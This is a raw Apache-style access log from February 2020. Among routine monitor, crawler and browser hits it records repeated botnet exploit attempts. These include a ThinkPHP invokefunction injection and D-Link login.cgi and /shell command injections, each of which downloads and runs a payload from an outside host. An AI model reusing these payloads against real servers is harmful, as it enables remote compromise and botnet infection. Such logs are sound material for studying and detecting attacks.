41.41.38.182 - - [02/Feb/2020:15:06:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.41.38.182 - - [02/Feb/2020:15:06:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:15:07:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:15:08:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
87.230.17.72 - - [02/Feb/2020:15:09:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "ImplisenseBot 1.0"
212.91.246.72 - - [02/Feb/2020:15:09:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
157.55.39.26 - - [02/Feb/2020:15:10:08 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
207.46.13.222 - - [02/Feb/2020:15:10:12 +0100] "GET / HTTP/1.1" 304 - "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
212.91.246.72 - - [02/Feb/2020:15:10:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:15:11:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.215.143.158 - - [02/Feb/2020:15:12:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:15:12:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.240.7.32 - - [02/Feb/2020:15:12:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
27.66.124.75 - - [02/Feb/2020:15:13:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:15:13:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:15:14:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.214.19.125 - - [02/Feb/2020:15:14:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.69.51.186 - - [02/Feb/2020:15:14:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [02/Feb/2020:15:15:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:15:16:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:15:17:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.240.205.34 - - [02/Feb/2020:15:17:42 +0100] "Gh0st\xad" 501 321 "-" "-"
94.50.26.198 - - [02/Feb/2020:15:18:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
84.210.147.194 - - [02/Feb/2020:15:18:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:15:18:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:15:19:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.48.126.225 - - [02/Feb/2020:15:20:24 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [02/Feb/2020:15:20:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.70.91.200 - - [02/Feb/2020:15:20:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
201.103.194.169 - - [02/Feb/2020:15:21:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [02/Feb/2020:15:21:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:15:22:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.73.101.228 - - [02/Feb/2020:15:22:51 +0100] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
31.163.11.254 - - [02/Feb/2020:15:23:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:15:23:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:15:24:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.21.46.176 - - [02/Feb/2020:15:24:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://packetsbins.000webhostapp.com/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [02/Feb/2020:15:25:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.64.208.194 - - [02/Feb/2020:15:26:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:15:26:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:15:27:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:15:28:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.26.18 - - [02/Feb/2020:15:29:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:15:29:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
146.158.38.35 - - [02/Feb/2020:15:29:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:15:30:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:15:31:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:15:32:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.36.21 - - [02/Feb/2020:15:32:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:15:33:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.93.50.91 - - [02/Feb/2020:15:33:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
118.71.36.9 - - [02/Feb/2020:15:33:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:15:34:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:15:35:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.187.126.169 - - [02/Feb/2020:15:35:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
37.151.134.150 - - [02/Feb/2020:15:35:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:15:36:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.196.81 - - [02/Feb/2020:15:36:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:15:37:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:15:38:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:15:39:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.166.1.110 - - [02/Feb/2020:15:39:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:15:40:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.85.91.19 - - [02/Feb/2020:15:40:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.116.90.238 - - [02/Feb/2020:15:41:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:15:41:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:15:42:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:15:43:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:15:44:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:15:45:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.89.40 - - [02/Feb/2020:15:45:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.245.13.229 - - [02/Feb/2020:15:45:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
73.5.248.186 - - [02/Feb/2020:15:46:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:15:46:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:15:47:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:15:48:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:15:49:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:15:50:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.80.39.93 - - [02/Feb/2020:15:50:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [02/Feb/2020:15:51:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.103.79 - - [02/Feb/2020:15:52:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:15:52:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:15:53:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:15:54:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:15:55:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:15:56:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:15:57:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.72.114.171 - - [02/Feb/2020:15:58:12 +0100] "GET /status HTTP/1.1" 404 311 "-" "Mozilla"
93.72.114.171 - - [02/Feb/2020:15:58:12 +0100] "GET /status HTTP/1.1" 404 311 "-" "Mozilla"
93.72.114.171 - - [02/Feb/2020:15:58:12 +0100] "GET /status HTTP/1.1" 404 311 "-" "Mozilla"
93.72.114.171 - - [02/Feb/2020:15:58:12 +0100] "GET /status HTTP/1.1" 404 311 "-" "Mozilla"
93.72.114.171 - - [02/Feb/2020:15:58:12 +0100] "GET /status HTTP/1.1" 404 311 "-" "Mozilla"
93.72.114.171 - - [02/Feb/2020:15:58:12 +0100] "GET /stat HTTP/1.1" 404 309 "-" "Mozilla"
93.72.114.171 - - [02/Feb/2020:15:58:12 +0100] "GET /stat HTTP/1.1" 404 309 "-" "Mozilla"
93.72.114.171 - - [02/Feb/2020:15:58:12 +0100] "GET /stat HTTP/1.1" 404 309 "-" "Mozilla"
93.72.114.171 - - [02/Feb/2020:15:58:12 +0100] "GET /stat HTTP/1.1" 404 309 "-" "Mozilla"
93.72.114.171 - - [02/Feb/2020:15:58:12 +0100] "GET /stat HTTP/1.1" 404 309 "-" "Mozilla"
93.72.114.171 - - [02/Feb/2020:15:58:12 +0100] "GET /status HTTP/1.1" 404 311 "-" "Mozilla"
93.72.114.171 - - [02/Feb/2020:15:58:12 +0100] "GET /status HTTP/1.1" 404 311 "-" "Mozilla"
93.72.114.171 - - [02/Feb/2020:15:58:12 +0100] "GET /status HTTP/1.1" 404 311 "-" "Mozilla"
93.72.114.171 - - [02/Feb/2020:15:58:12 +0100] "GET /stat HTTP/1.1" 404 309 "-" "Mozilla"
93.72.114.171 - - [02/Feb/2020:15:58:12 +0100] "GET /stat HTTP/1.1" 404 309 "-" "Mozilla"
93.72.114.171 - - [02/Feb/2020:15:58:12 +0100] "GET /stat HTTP/1.1" 404 309 "-" "Mozilla"
93.72.114.171 - - [02/Feb/2020:15:58:16 +0100] "GET /status HTTP/1.1" 404 311 "-" "Mozilla"
93.72.114.171 - - [02/Feb/2020:15:58:16 +0100] "GET /status HTTP/1.1" 404 311 "-" "Mozilla"
93.72.114.171 - - [02/Feb/2020:15:58:16 +0100] "GET /stat HTTP/1.1" 404 309 "-" "Mozilla"
93.72.114.171 - - [02/Feb/2020:15:58:16 +0100] "GET /stat HTTP/1.1" 404 309 "-" "Mozilla"
212.91.246.72 - - [02/Feb/2020:15:58:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.88.82.228 - - [02/Feb/2020:15:58:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.52.242.0 - - [02/Feb/2020:15:58:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
193.198.66.62 - - [02/Feb/2020:15:59:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.71.4.28 - - [02/Feb/2020:15:59:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:15:59:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.137.71 - - [02/Feb/2020:15:59:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:16:00:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.191.98 - - [02/Feb/2020:16:01:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:16:01:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.88.80 - - [02/Feb/2020:16:01:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:16:02:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:16:03:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.141.64.218 - - [02/Feb/2020:16:04:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:16:04:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:16:05:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.4.31 - - [02/Feb/2020:16:05:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.169.121 - - [02/Feb/2020:16:05:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:16:06:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:16:07:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:16:08:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:16:09:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.248.167.133 - - [02/Feb/2020:16:09:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.86.97.84 - - [02/Feb/2020:16:10:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.42.124 - - [02/Feb/2020:16:10:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:16:10:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
